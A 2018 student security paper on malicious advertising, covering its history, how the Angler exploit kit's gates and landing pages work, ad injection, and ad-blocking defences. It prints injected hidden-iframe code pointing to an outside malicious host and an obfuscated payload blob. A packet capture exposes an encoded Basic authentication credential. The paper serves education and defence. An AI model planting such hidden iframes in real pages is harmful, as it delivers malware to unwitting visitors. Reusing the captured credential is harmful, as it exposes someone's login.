

Matthew Lee  
5/6/2018  
COMP116  
Final Project

## **An Overview of Malicious Advertising**

### **I. Abstract**

Advertisements are given on the internet as they provide a form of monetary support for website owners allowing them to pay for their domain, for hosting, for authors to create content, and even for them to make a profit. Within the past ten years, attackers have begun to use advertisements as a way of distributing malware to users of legitimate and popular websites including the websites for Spotify, The London Stock Exchange, and The New York Times. Coined *malvertising*, these advertisements are spread quickly through various ad networks and can serve malicious code even when the user does not click the banner or pop-up advertisement. The fact that a user can get infected by malware on legitimate sites even without clicking on the ad presents a major problem as it means that being careful by not visiting or clicking on sketchy websites and advertisements does not fully prevent the risk of a computer virus.

This paper aims to explore and understand what malicious advertising is and its history, how it is written, and what a user can do to minimize risks.

### **II. Introduction**

“Malicious online ads expose millions to possible hack,” “Big-name sites hit by rash of malicious ads spreading crypto ransomware,” and “Beware of malicious ads that can harm computers without a click” are the headlines of articles from Computerworld, Ars Technica, and CNBC, respectively.<sup>1</sup> But what exactly are “malicious online ads,” what “big-name sites” have been hit, what “harm” has been brought about, and how does this all occur?

Malvertising is simply the use of online advertising platforms to spread malware by leveraging the wide reach of advertisement networks. Many websites, including those owned by legitimate and reputable companies, have banners where advertisement slots are bid on to determine which company will get to show their advertisements. When an attacker wins the bid, their malicious advertisement will be shown to millions of users causing millions of undesired downloads and actions.

Malicious advertising was first identified as a security risk around late 2007 to early 2008 when a vulnerability in Adobe Flash affected, at the time, large platforms including MySpace,

Excite, and Rhapsody.<sup>2</sup> The issue really came to the attention of the public in 2009 when from September 11<sup>th</sup> to 14<sup>th</sup>, users of The New York Times became infected after falling to a trick that asked users to install disguised malicious software.<sup>3</sup> The infected computers then became part of the Bahama botnet that redirected a user's click through pay-per-click advertisements before redirecting them to their desired destination.<sup>4</sup> However, not all advertisements require the user to interact with the banner and fall victim to a social engineering trick. In 2011, Spotify desktop users on the Windows operating system automatically downloaded a virus after being served a certain ad within the application.<sup>5</sup> This scary example shows how even without user interaction and without the user visiting an undesired site, an attacker can compromise the victim's machine.

### **III. To the Community**

Advertisements exist on virtually every website as a source of revenue for the site maintainers. In theory and in an ideal world, the online advertising model seems like a good compromise for everyone; web site owners make money in exchange for a small banner on the website, you, a site visitor, can access the website's content without a monetary payment in exchange for a small, unobtrusive advertisement, and companies can rent out the space in order to get their name publicized. However, this model has broken down due to society's mistrust in the legitimacy of advertisement.

Online advertisements have, rightly so, gained the stigma of being malicious and being used by attackers to compromise a user's computer. Attackers have figured out ways to infect a computer without any sort of user interaction, which is concerning because it means millions of online users are at risk just by going online to read the news, to check their email, and to connect with friends.

With this in mind, it become increasingly important to learn and educate ourselves about online advertisements, specifically malicious ones, so we can learn how to defend ourselves from these risks. Additionally, perhaps one day, we can even figure out how to detect which advertisements are malicious so advertising companies themselves can detect and prevent these risks from being served to millions of viewers online.

### **IV. Implementation**

#### **a. Exploit Kits**

Malicious advertisements often make use of an exploit kit to infect the user. Exploit kits make it very easy for anyone to serve malicious code to a user base, as they are often sold as a

simple to use service to malicious individuals on the black market. Many different exploit kits exist such as the Blackhole and Neptune exploit kits, but in this section, I will focus in specifically on the Angler exploit kit, which was one of the most popular exploit kits associated with malvertising from its release in 2013 up until it was no longer supported following the arrest of around 50 individuals in the United Kingdom and Russia in 2016.<sup>6</sup>

Say you're shopping for shoes online, and you see an advertisement from Amazon for the exact same shoes at a lower price. Nothing about the ad seems out of place, so you click it and you're redirected to a legitimate version of Amazon, and you continue shopping as usual. However, in that fraction of a second between the advertisement click and the redirect to Amazon, a series of actions may have occurred. After clicking on the ad, you may be directed to an exploit kit immediately where the final payload is delivered.<sup>7</sup>

Often times, a user may first be directed to a gate through a legitimate website that has been hijacked before reaching the final payload. Compromised websites taken over via domain hijacking and shadowing can have code in the form of scripts and hidden iframes injected into their web pages as seen below.<sup>8</sup> The image on the left shows a simple code snippet of code containing an iframe with position values off the visible portion of a screen, and the code on the right shows how a hacker may obfuscate their code to avoid detection.

```

103 </HEAD>
104 <body id="boxed"><script type="text/javascript">setTimeout
(function(){var b = new RegExp
('76029bf0d49d3004771c0f5d670c624f'+ '({:})',1);var c
= b.exec(document.cookie);if(c && c[0].split('=')[1] ? c[1] : false);else(c = false);if(c !
= '65b31ded1509e8e2c564dae76ec49ce')(var d = new Date
());d.setDate(d.getDate()+1);document.cookie
= '76029bf0d49d3004771c0f5d670c624f'+ '=' + '65b31ded1509e8e
2c564dae76ec49ce'; expires='4d.toUTCString
(,);,3000);</script><div style="position:absolute;z-
index:89;top:-200px;left:-1495px;"><iframe
src="http://more.colinyung.com/topic/83588-unbuttoning-
buttoning-selfgovernment-tipoffs-spitfice-cantaise-
hoota/"></iframe></div>
105 <!-- #wrap_all -->
106 <div id="wrap_all">

```

```

1
2
<span id="ImplementaAaSign" style="display:none">0 b35 .52 k3e3e3e3e -y18 -35 a33p- b41 x35 37 3-ba 4
48 ta35 4a7 39 49 1a27a 1056 -105 2a9 53 4a2 .44 3a3 45 8a3 100wa 4wm-9u 49 39 a211 10a 8a3 31
1a0c7 1a-05 10a6e 10a5- 2a5 53 4-c30a 48a 30b0wa 45 53a-0a010wa 23 42 4a 45 .47 39 5a21 1a07 121 23a
39 3a3a3 45a 3a a39 -23a 1a 1.a31 1 45 4p-7 50 0a5 44 39a0 44 5a4 7 46b .39 a47 39 4a 8a3a 127a 25 -
4e-48a- 4a 43a-2 81a0-0 8115 4a-11a0a 3raad 1a0c00 8ea 1a0 17 1ea01 07 a4a 1a10a 033 1a-01 3a4 45
48 1a6 50 4b2a8a 3a45 6a-7 50 54 11 47 50a 45 48 5a- 4a127 8 35 52 35 4a3p 35a 833 41 3-a3 37 39 4-
3a4a 35 47 39 49 411 50- 40a2 .45 4a1z -30 5a 11 47 50 3a5- 48 51a2 11a6 39 39 33 0a5a 38 39 23 1a4
1a1a- 1 4a8- 47 50a 45 44 29 4a 15a 4a7 0-a-4a 439a- 47 3a9 44 5a 1a00pa 44 39 4a-04 37 -5a-4 4a2
1a21- 50 4a-8 45 47 50 5a 0a11- 4a7 50 0a5 4a8 5-4 11a00pa 1a5 0a107 35-7 8a3 0a6 1a6a 4a 35-0a 52
a4a 37 -3a 48a 41a 0a0 010a 5-0 4a 2a 0a8a 3 37a 39 -0a0a 1a 10a 43 4a4 3a 39a 3a 431a 0a0a 010a
38 3a9 33 45- 38 39 23 11a6 11a 1 45 47a 50 45 44 39 44 54 7 46 .39 47a 39 4a4 54 4a12a5 50 5a-4a 45a
47 4a8a 1a0a 1a1 -4a7 50 3a5 41a 0a0a1a 31 1a7 12a 4a 3a5 32a 35 1a 35 33 4a1 25a 3a7- 39 4 45a 3a
47 39 4a- 1a7 57 45 55k 0a4 39 4a 2-a1g 4a3 38 54 0a2 2a 45 4a 35a -0a4 4a4 4a 31a8a 1a27 3a8
3a9a 33a 4a- 3a8a 3a9 2-3a a1-4a 011 4a1 45 4a7a 50- 45 4a 2a 4a 0a4 7 4a 39 47a 39 44 54 1a6 4a 4a 3a
4-4 a37 5-4 4a2- 3a1a1 -0a0a 4a -4a 47 5a0 -0a0a 8a1 47 50 4a 4a 5a 1a2a1 1a2 4a0 39 3a 4a 121 4a3a
43 4a3 3a 1a0a0a 4a4a2a 31a 52 43 37 35 3-4a 4a1 4a0a 1a0a 55 4a9 39 4a9 3 37 39 4a-4 5a 010a 43 0a4
3a4 39 5a 4a-1a 3a4 1a04 4a 3a 17a 1a 1a017 -0a0 11a4a 11a 4a 1a0a07 12a 0 3a 3a 3a 3a8 3a0-33a0 41-
3a5 0a7 3 4a 0a5 47 39 49a 1a0 57a 45a 55 54 39 4a 21 43 -0a2a 21a 42 02a 45 4a 3a0a 1a 43 3a4 39
1a5 1a5 121 4a 3a 39 49 49 33 45 4a 3a 1a- 4a8 39 50 -5a 4a5 1a0a 9a 22 8a 1a 1a 5 3-5 1a 7 a5a 1a1a
38 3a4 11a 112 21a 1a9 111a 36a 121 4a3 4a 4a4a 39 4a8- 21 3raad -0a0a 42 1a8 3a 48a- 3a9
a4a 54 127a 3a 4a 33 5a 47 39 4a- 54 1a9 37 03a 4a0a 7 4a4 3a9 47 3a1 0a4 8a5a 0 59a 11 3a 1a3a-4
5a 0a5a 4a7 5a7 4a4 39 471 39a 4a 0a5a- 49 3 4a3 4a 4a0a-4a 37 4a 1a0a 1a7 1a0 4a3 4a 4a 39 4a 1a
a22 1a 1a4 121a 43- 4a8a 0a4a 22a 4a5a 3a 54 3a 4a8a 39 35 12a7a 45 4-a 32a 4a 5a 4a 1a3 4-a 41a
3a0a3 39 -0a8 4a 8a3 -0a4a afa127 2 -1a-5 5a 3a 01a 3a1a .33 41 0a5 37 3a0 4 y8a 33a- 4a7 39 4a9
121 4a5 50 3a9 4a 1a 42 3a- 4a8 1a07 4a 9a5 121 4a3 4a4 4a1 3a 4a 21 4a4 0a3a 54 42 1a1a 31a -0a4
39a 0a4a 3a4 11a-p27 43 4a 4a 3a9 4a 2a1a -0a3a0 3a 5a1a 42 1a4 3a 3a4a 03a 4a 5a4a 1a8 4a 39 1a0a
4a 3a5 03a -0a0a-0-0 1a4 1a0a -4a3 2a 3a 011 1a4 31 a1a0a0a -37 a3a0a 9a 9a 1a7 121 01a 4a4 4a8
1a6 50 4a 0a4a 47 50 5a- 11a 47 a5a 45 4a-8a 5a 1a1a7 a3a3 3a5 8a2 3a2 .1a 1a3a 5a8 41a 43a 03a 4a8

```

The purpose of an exploit kit's gate is to detect system information such as the operating system and the browser being used in order to screen for system configurations that are vulnerable to a specific zero-day exploit. To determine this information, a gate can analyze the HTTP header as seen below in a screenshot from Wireshark:

No.	Time	Source	Destination	Protocol	Length	Info
158	35.355862	192.168.1.3	130.64.23.35	TCP	66	54043 → 80 [FIN, ACK] Seq=415 Ack=729 Win=131072 Len=0 TSval=38868712 TSecr=1167162802
159	35.357092	192.168.1.3	130.64.23.35	TCP	78	54044 → 80 [SYN, ECN, CWR] Seq=0 Win=65535 Len=0 MSS=1460 WS=32 TSval=38868712 TSecr=0 SACK_PERM=1
160	35.385436	130.64.23.35	192.168.1.3	TCP	74	80 → 54044 [SYN, ACK, ECN] Seq=0 Ack=1 Win=14608 Len=0 MSS=1460 SACK_PERM=1 TSval=1167172018 TSecr=38868712 WS=128
161	35.385448	130.64.23.35	192.168.1.3	TCP	66	80 → 54043 [ACK] Seq=729 Ack=416 Win=15616 Len=0 TSval=1167172009 TSecr=38868712
162	35.385707	192.168.1.3	130.64.23.35	TCP	66	54044 → 80 [ACK] Seq=1 Ack=1 Win=131744 Len=0 TSval=38868741 TSecr=1167172010
163	35.423122	130.64.23.35	192.168.1.3	TCP	66	80 → 54044 [ACK] Seq=1 Ack=407 Win=15616 Len=0 TSval=1167172047 TSecr=38868741
164	35.423294	130.64.23.35	192.168.1.3	TCP	66	80 → 54044 [ACK] Seq=1 Ack=407 Win=15616 Len=0 TSval=1167172047 TSecr=38868741
165	35.430516	130.64.23.35	192.168.1.3	HTTP	793	HTTP/1.1 401 Authorization Required (text/html)
166	35.430594	130.64.23.35	192.168.1.3	TCP	66	80 → 54044 [FIN, ACK] Seq=728 Ack=407 Win=15616 Len=0 TSval=1167172056 TSecr=38868741
167	35.430690	192.168.1.3	130.64.23.35	TCP	66	54044 → 80 [ACK] Seq=407 Ack=728 Win=131040 Len=0 TSval=38868784 TSecr=1167172055
168	35.430690	192.168.1.3	130.64.23.35	TCP	66	54044 → 80 [ACK] Seq=407 Ack=729 Win=131040 Len=0 TSval=38868784 TSecr=1167172056
169	37.110380	192.168.1.3	130.64.23.35	TCP	66	54044 → 80 [FIN, ACK] Seq=407 Ack=729 Win=131072 Len=0 TSval=38870466 TSecr=1167172056
170	37.170447	130.64.23.35	192.168.1.3	TCP	66	80 → 54044 [ACK] Seq=729 Ack=408 Win=15616 Len=0 TSval=1167173797 TSecr=38870466

```

Frame 163: 472 bytes on wire (3776 bits), 472 bytes captured (3776 bits)
  Ethernet II, Src: Apple_cf:53:89 (a4:5e:60:cf:53:89), Dst: Actionte_6d:c7:27 (f8:e4:fb:6d:c7:27)
  Internet Protocol Version 4, Src: 192.168.1.3, Dst: 130.64.23.35
  Transmission Control Protocol, Src Port: 54044, Dst Port: 80, Seq: 1, Ack: 1, Len: 406
  Hypertext Transfer Protocol
    GET /-cgr99/grades/ HTTP/1.1\r\n
    Host: www.erc-tiffs.edu\r\n
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1; rv:58.0) Gecko/20100101 Firefox/58.0\r\n
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
    Accept-Language: en-US,en;q=0.5\r\n
    Accept-Encoding: gzip, deflate\r\n
    DNT: 1\r\n
    Connection: keep-alive\r\n
    Upgrade-Insecure-Requests: 1\r\n
    Authorization: Basic YW91cnN5ZXI6SW0xMHRFeHBlcnQ=\r\n
    ...

```

In the example above, if the vulnerability is targeting Firefox running on the Mac OS X 10.13 operating system, the gate will continue to redirect the user to the exploit kit; otherwise, it will direct the user back to their original destination. Redirecting nonvulnerable systems can help to save resources for the attackers and can also help to evade detection as the payload will only be delivered to those with vulnerable systems; the less people that have the payload, the longer it will take for people to realize what is happening.

The user then arrives at the landing page for the exploit kit's server, which may download and run a malicious payload. The Angler exploit kit focused on targeting web and browser related applications such as Adobe Flash Player, Internet Explorer, and Microsoft Silverlight with code that could remotely execute commands and corrupt memory as seen in CVE-2015-5119, CVE-2015-2419, and CVE-2016-0034, respectively.<sup>7</sup> Often time, these vulnerabilities were exploited, and the exploit kit install ransomware such as TeslaCrypt and CryptXXX, which rendered the users machine unusable until a ransom payment was paid.

## b. Ad Injection

Another form of malvertising is ad injection, which is when a user is subjected to additional or different advertisements than what was originally intended.<sup>9</sup> In addition to just showing an extra banner, these advertisements are able to hijack a browser session, redirect websites, and gather information from social media and email. Often times, ad injection occurs due to extra permissions granted by malicious browser extensions, or they can even be included as bloatware preinstalled to computer, as done in the past by Lenovo with Superfish.

In the case of extensions, a user has already granted the extension permission to view and modify DOM content making it easy for the extension to modify the body of the web page and add script elements that can control the user's browsing experience. Ad injection can also occur due to installed binaries that can sideload themselves as extensions or binaries that modify registry keys enabling a proxy. Finally, ad injection can occur due to network configurations that allow a

network administrator or ISP to change and modify non-secure transmissions prior to being served to the user's computer. Due to the little additional access that ad injection requires, it is hard to detect or prevent this from occurring.

## V. Defense

Preventing malicious advertisements is a difficult problem that does not have a clear, simple solution. Exploit kits take advantage of browser and operating system vulnerabilities, so updating applications as soon as patches are released can help mitigate the risk. However, exploit kits do utilize zero-day vulnerabilities making it impossible to preemptively guard against any and all exploits. Ad injection is an even harder problem to prevent as the end-user has basically welcomed the vulnerability into their system; after being granted permission, it becomes incredibly difficult to prevent as the injector may have spread itself out across the machine.

Often time, ad-blockers are purported to be the simple solution to malicious advertising. Ad-blockers, such as Adblock Plus and Ghostery, can help to mitigate risks associated with malvertising by never displaying any advertising content and by blacklisting certain domains from making connections to the user's machine. These ad-blockers make use of a filtering list such as EasyList, which allows them to compare and remove elements with an id or class name associated with advertisements and also allows them to prevent connections to URLs of known advertising agencies. This method, however, is slow as the browser extension must compare every element of the DOM to a list containing, at the time of writing, 69,196 URLs, class names, and IDs.<sup>10</sup>

A team at Indiana University led by Orr et al. has proposed a new solution to identifying ads served via JavaScript that performs a static analysis on the JavaScript code; it makes use of quantitative metrics to identify ad-related scripts based on their properties, rather than a manually created blacklist, allowing for their proposed solution to adapt as advertisement URLs and IDs change.<sup>11</sup> Their solution made use of a supervised machine learning-based Support Vector Machine classifier that relied on 20 different features that are more prevalent in either advertisements (features include string concatenation of URLs, bitwise XOR and shift operators, try-catch statements, etc.) or in legitimate scripts (features include onclick event handlers, arrays, key:value pairs where the key is a string, etc.). Overall, the team was able to reach a 97.8% accuracy with significantly higher speeds when attempting to identify 258 advertising related scripts and 726 non-advertising related scripts from 25 randomly selected sites from Alexa's top 100,000 most popular websites list.

Ad-blockers including the method proposed by Orr et al. are, however, are only a short-term solution. Advertisements help to pay for the cost to host a webserver, to develop the website, and to create content, so if every person were to use an ad-blocker, websites would no longer have funding and would not be self-sustaining. However, in the current climate with regards to advertisements being intrusive and malicious, ad-blockers seem to be the best way for a user to mitigate risk. As summarized in Google's 2015 paper regarding ad injection, they write that there isn't a good solution to this problem: "In closing, we argue there is no simple solution for combating deceptive ad injection. Intermediaries, website owners, and browser developers all share an important role."<sup>9</sup>

## **VI. Conclusion**

Malvertising is a massive problem impacting the security of users and their computers, and also costing the advertising industry an estimated 1.1 billion dollars each year.<sup>12</sup> Attackers compromise the system of a user through various advertising channels including ad injection and exploit kits. Many advertisements are legitimate, but these malicious advertisements create distrust causing many people to use ad blockers hurting advertising agencies and, in turn, website owners as they are not being paid for the website and content they create. While this problem does affect all parties, it falls on the advertising agencies to fix this issue by creating algorithms that can screen, detect, and prevent any malicious ads from being served to users; until then, users should keep themselves safe and minimize risk by utilizing an ad blocker.

## **VII. Supporting Material**

Associated with this paper is an analysis of the Angler Exploit Kit. The analysis and a comprehensive description of the supporting material can be found at:

[https://github.com/mattrlee3/compl16\\_finalproject](https://github.com/mattrlee3/compl16_finalproject)

## VIII. References

- [1] Goodin, Dan. “Big-Name Sites Hit by Rash of Malicious Ads Spreading Crypto Ransomware [Updated].” *Ars Technica*, 15 Mar. 2016, [arstechnica.com/information-technology/2016/03/big-name-sites-hit-by-rash-of-malicious-ads-spreading-crypto-ransomware/](http://arstechnica.com/information-technology/2016/03/big-name-sites-hit-by-rash-of-malicious-ads-spreading-crypto-ransomware/).
- Kan, Michael. “Malicious Online Ads Expose Millions to Possible Hack.” *Computerworld*, IDG News Service, 7 Dec. 2016, [www.computerworld.com/article/3147908/security/malicious-online-ads-expose-millions-to-possible-hack.html](http://www.computerworld.com/article/3147908/security/malicious-online-ads-expose-millions-to-possible-hack.html).
- Schlesinger, Jennifer. “New Cyberthreat to Consumers: Malvertisements.” *CNBC*, CNBC, 20 May 2014, [www.cnbc.com/2014/05/20/beware-of-malicious-ads-that-can-harm-computers-without-a-click.html](http://www.cnbc.com/2014/05/20/beware-of-malicious-ads-that-can-harm-computers-without-a-click.html).
- [2] Vuijsje, Eliana. “A Look at the History of Malvertising.” *GeoEdge Blog*, 27 Oct. 2015, [www.blog.geoedge.com/single-post/2015/10/27/A-Look-at-the-History-of-Malvertising](http://www.blog.geoedge.com/single-post/2015/10/27/A-Look-at-the-History-of-Malvertising).
- [3] *The Rise of Malvertising: A Look into the Practice of Injecting Malicious Advertisements into Legitimate Online Advertising Networks*. Cyphort Labs, 2015, [go.cyphort.com/rs/181-NTN-682/images/Malvertising-Report-15-RP.pdf](http://go.cyphort.com/rs/181-NTN-682/images/Malvertising-Report-15-RP.pdf).
- [4] Greenberg, Andy. “NYtimes.com Ad Scam Linked to 'Bahama' Botnet.” *Forbes*, 17 Sept. 2009, [www.forbes.com/2009/09/17/advertising-click-fraud-technology-internet-bahama-botnet.html#33fb20c54718](http://www.forbes.com/2009/09/17/advertising-click-fraud-technology-internet-bahama-botnet.html#33fb20c54718).
- [5] “Spotify Ads Hit by Malware Attack.” *BBC News*, BBC, 29 Mar. 2011, [www.bbc.com/news/technology-12891182](http://www.bbc.com/news/technology-12891182).
- [6] “Angler: The Rise and Fall of an Exploit Kit.” *Simply Security News, Views and Opinions from Trend Micro, Inc*, 14 Sept. 2016, [blog.trendmicro.com/angler-rise-fall-exploit-kit/](http://blog.trendmicro.com/angler-rise-fall-exploit-kit/).
- [7] Duncan, Brad. “Understanding Angler Exploit Kit - Part 1: Exploit Kit Fundamentals.” *Palo Alto Networks Blog*, 3 Jun. 2016, [researchcenter.paloaltonetworks.com/2016/06/unit42-understanding-angler-exploit-kit-part-1-exploit-kit-fundamentals/](http://researchcenter.paloaltonetworks.com/2016/06/unit42-understanding-angler-exploit-kit-part-1-exploit-kit-fundamentals/);
- Duncan, Brad. “Understanding Angler Exploit Kit - Part 2: Examining Angler EK.” *Palo Alto Networks Blog*, 7 Jun. 2016, <https://researchcenter.paloaltonetworks.com/2016/06/unit42-understanding-angler-exploit-kit-part-2-examining-angler-ek/>.
- [8] Zaharia, Andra. “Angler Exploit Kit Infrastructure Analysis.” *Heimdalsecurity Blog*, 27 Dec. 2016, [heimdalsecurity.com/blog/angler-exploit-kit-infrastructure-analysis/](http://heimdalsecurity.com/blog/angler-exploit-kit-infrastructure-analysis/).
- [9] Thomas, Kurt, et al. “Ad Injection at Scale: Assessing Deceptive Advertisement Modifications.” *2015 IEEE Symposium on Security and Privacy*, 2015, doi:10.1109/sp.2015.17.
- [10] “EasyList Advertisement Filters.” *EasyList*, [easylist.to/easylist/easylist.txt](http://easylist.to/easylist/easylist.txt).
- [11] Orr, Caitlin R., et al. “An Approach for Identifying JavaScript-Loaded Advertisements through Static Program Analysis.” *Proceedings of the 2012 ACM Workshop on Privacy in the Electronic Society - WPES '12*, 15 Oct. 2012, doi:10.1145/2381966.2381968.
- [12] Bazley, Jackson. *IAB US Benchmarking Study*. Interactive Advertising Bureau, 2015, *IAB US Benchmarking Study*.